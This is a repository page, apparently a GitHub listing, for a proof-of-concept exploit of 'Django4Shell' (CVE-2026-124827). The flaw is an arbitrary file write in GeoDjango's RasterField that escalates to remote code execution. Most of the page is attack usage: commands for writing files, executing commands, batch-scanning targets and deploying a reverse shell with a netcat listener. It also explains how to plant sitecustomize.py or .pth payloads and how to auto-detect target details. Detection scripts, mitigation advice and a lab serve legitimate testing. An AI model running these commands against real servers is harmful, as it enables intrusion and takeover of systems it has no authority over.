joshuavanderpoll/CVE-2026-124827
Tentang
CVE-2026-124827 (Django4Shell): Arbitrary file write to RCE via GeoDjango RasterField. PoC exploit, Nmap NSE, Nuclei template, Docker lab.
Sistem dan infrastrukturYang dapat Anda lakukan
- Docker lab: Vulnerable Django 5.2.19 + PostGIS + GDAL, ready in one command
- Check mode: Non-destructive vulnerability verification (--check)
- Write mode: Arbitrary file write to attacker-controlled path (--write-file)
- Batch scanning: Scan multiple targets from a file (--targets)
Pertumbuhan bintang terukur
- dalam 24 jam
- +5
- dalam 7 hari
- Mengumpulkan riwayat
- dalam 15 hari
- Mengumpulkan riwayat
- dalam 1 bulan
- Mengumpulkan riwayat
Perubahan bersih pada periode yang tumpang tindih, bukan total harian. Pengukuran yang belum tersedia dibiarkan kosong. Bintang menunjukkan perhatian, bukan kualitas.
README.md
AsliDjango4Shell (CVE-2026-124827) PoC
Demo
Description
CVE-2026-124827 (dubbed Django4Shell) is an arbitrary file write vulnerability in Django's GeoDjango module that leads to remote code execution. It is an incomplete fix for CVE-2026-87890, which itself was an incomplete fix for CVE-2026-15307.
The flaw exists in the RasterField assignment path: when a crafted JSON raster body with a non-default GDAL driver (e.g. EHdr) is submitted through a Django admin form or ModelForm, GDAL writes a file to an attacker-controlled path with attacker-controlled content. The write fires during field assignment (SpatialProxy -> GDALRaster.__init__), before any database interaction or model.save() call.
Affected versions: Django 5.2 < 5.2.20, 6.0 < 6.0.11, 6.1 < 6.1.4 (with django.contrib.gis)
CVSS: 9.0 (Critical)
Vulnerability Chain
| CVE | Date | Attack Path | Primitive |
|---|---|---|---|
| CVE-2026-15307 | Aug 2026 | Spatial lookup | File write via dict/str in lookups |
| CVE-2026-87890 | Oct 2026 | Spatial lookup | SSRF via bytes/VRT (missed in 15307 fix) |
| CVE-2026-124827 | Dec 2026 | Field assignment | File write + RCE (guard only on lookup, not assignment) |
How It Works
RasterFieldfalls back toCharFieldas form field (editable by default on vulnerable versions)- Admin / ModelForm / serializer accepts a raw JSON string
SpatialProxy.__set__->init_raster->GDALRaster(user_input)_preprocess_inputparses JSON string to dictGDALRaster.__init__with dict input forceswrite=Trueand callscapi.create_ds(driver, name, ...)- With
driver: "EHdr"andname: "/app/sitecustomize", GDAL writes/app/sitecustomize.bil - Band data contains attacker payload bytes
The file write happens before any DB save. An attacker can drop sitecustomize.py (auto-imported by Python at startup) or .pth files into site-packages for code execution on the next worker restart.
Prerequisites
- Staff-level Django authentication (or any path that assigns to a RasterField)
django.contrib.giswith a RasterField model exposed via admin/ModelForm/serializer- GDAL with EHdr driver (ships in every standard GDAL build)
- Writable target path (project root / /tmp / site-packages)
Features
- Docker lab: Vulnerable Django 5.2.19 + PostGIS + GDAL, ready in one command
- Check mode: Non-destructive vulnerability verification (
--check) - Write mode: Arbitrary file write to attacker-controlled path (
--write-file) - Batch scanning: Scan multiple targets from a file (
--targets) - OS detection: Auto-detects target OS from Server header, adjustable with
--target-os - Nmap NSE script: Non-exploitative authenticated detection scan
- Nuclei template: Authenticated vulnerability check for batch scanning
- Benign by default: Writes a marker string to
/tmp, no weaponized payloads
Quick Start
1. Start the lab
git clone https://github.com/joshuavanderpoll/CVE-2026-124827.git
cd CVE-2026-124827/docker
docker compose up --build
Wait for Lab ready: http://127.0.0.1:8000/admin/ in the output.
2. Run the PoC
In a separate terminal from the project root:
cd CVE-2026-124827
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
Check if vulnerable (non-destructive):
python3 CVE-2026-124827.py \
--url 127.0.0.1:8000 \
--username staff \
--password staffpass \
--check
Write a file:
python3 CVE-2026-124827.py \
--url 127.0.0.1:8000 \
--username staff \
--password staffpass \
--write-file /tmp/pwned \
--content "CVE-2026-124827 file write proof"
Batch scan from file:
python3 CVE-2026-124827.py \
--targets hosts.txt \
--username staff \
--password staffpass \
--check
Execute a command (RCE):
python3 CVE-2026-124827.py \
--url 127.0.0.1:8000 \
--username staff \
--password staffpass \
--command "id > /tmp/pwned"
Reverse shell:
# Terminal 1: start listener
nc -lvnp 4444
# Terminal 2: deploy shell
python3 CVE-2026-124827.py \
--url 127.0.0.1:8000 \
--username staff \
--password staffpass \
--shell --lhost <YOUR_IP> --lport 4444
3. Verify the file write
docker compose -f docker/docker-compose.yml exec web cat /tmp/pwned.bil
Expected output: CVE-2026-124827 file write proof
RCE Methods
| Method | Target | Trigger | Notes |
|---|---|---|---|
sitecustomize |
Python lib dir (sitecustomize.py) |
Auto-imported on any Python start | Default, most reliable |
pth |
site-packages/*.pth |
Lines starting with import execute at startup |
Alternative if lib dir not writable |
overwrite |
manage.py |
Dev server reloads on file change | Dev server only, payload inline |
For sitecustomize and pth, the exploit writes the payload to a Python system directory and then overwrites manage.py to trigger Django's StatReloader, which restarts the dev server. The new Python process auto-imports the payload at startup.
The exploit auto-detects several target-specific values:
- Python version: Extracted from the Django debug page (
Serverheader or traceback). Falls back to brute-forcing common versions (3.10, 3.11, 3.12, 3.13). - Settings module: Parsed from
DJANGO_SETTINGS_MODULEon the Django debug/error page. If detection fails (e.g.DEBUG=False), the value is inherited from the target's environment. - manage.py path: Defaults to
/app/manage.py(standard for containerized Django). Override with--manage-pathfor non-standard layouts.
When auto-detection is not possible (production targets with DEBUG=False), use --manage-path and --settings-module to provide the values manually.
CLI Options
| Option | Description |
|---|---|
--check |
Non-destructive vulnerability check |
--write-file PATH |
Write file to PATH on target (EHdr driver, appends .bil) |
--command CMD |
Execute a system command on the target |
--code CODE |
Execute raw Python code on the target |
--shell |
Deploy a reverse shell (requires --lhost and --lport) |
--method |
RCE method: sitecustomize (default), pth, overwrite |
--lhost HOST |
Listener host for --shell |
--lport PORT |
Listener port for --shell |
--manage-path PATH |
Path to manage.py on target (default: auto-detect by OS) |
--settings-module MOD |
DJANGO_SETTINGS_MODULE value (default: auto-detect from debug page) |
--force |
Skip HTTP status code checks (continue on unexpected responses) |
--url |
Target URL (auto-prefixes http:// if missing) |
--targets FILE |
File with one URL per line (--check only) |
--username |
Staff username (required) |
--password |
Staff password (required) |
--admin-path |
Admin URL path (default: admin) |
--app-label |
Django app label (default: poc) |
--model-name |
Model name (default: rasterdemo) |
--field-name |
RasterField form field name (default: raster) |
--target-os |
Target server OS: auto, linux, windows (default: auto) |
--content |
File content to write |
--csrf-token |
Pre-obtained CSRF token |
--user-agent |
Custom User-Agent |
--timeout |
HTTP timeout in seconds (default: 10) |
Nmap Detection
Non-exploitative scan using the included NSE script:
nmap -p 8000 --script nmap/CVE-2026-124827.nse \
--script-args 'username=staff,password=staffpass' 127.0.0.1
Custom model/field:
nmap -p 8000 --script nmap/CVE-2026-124827.nse \
--script-args 'username=admin,password=secret,app-label=myapp,model-name=mymodel,field-name=raster_data' target.example.com
Nuclei Template
nuclei -t nuclei/CVE-2026-124827.yaml -u http://127.0.0.1:8000 \
-var username=staff -var password=staffpass \
-var admin_path=admin -var app_label=poc \
-var model_name=rasterdemo -var field_name=raster
Mitigation
- Upgrade Django to 5.2.20, 6.0.11, or 6.1.4+
- Remove or restrict admin access to models with
RasterField - Set
editable=Falseon RasterField explicitly - Validate all user input before assigning to RasterField
Docker Lab Details
See docker/DOCKER.md for build/run commands.
| Component | Detail |
|---|---|
| Django | 5.2.19 (last vulnerable 5.2.x) |
| Database | PostGIS 16-3.4 |
| GDAL | Debian default (includes EHdr) |
| Admin creds | staff / staffpass |
| URL | http://127.0.0.1:8000/admin/ |
References
- Django Security Release (Dec 2, 2026)
- Django Security Release (Oct 6, 2026)
- Django Security Release (Aug 4, 2026)
- The Hacker News: Django4Shell
- NVD: CVE-2026-124827
Disclaimer
For authorized testing and research only. See SECURITY.md.
Jelajahi proyek terkait
Memuat…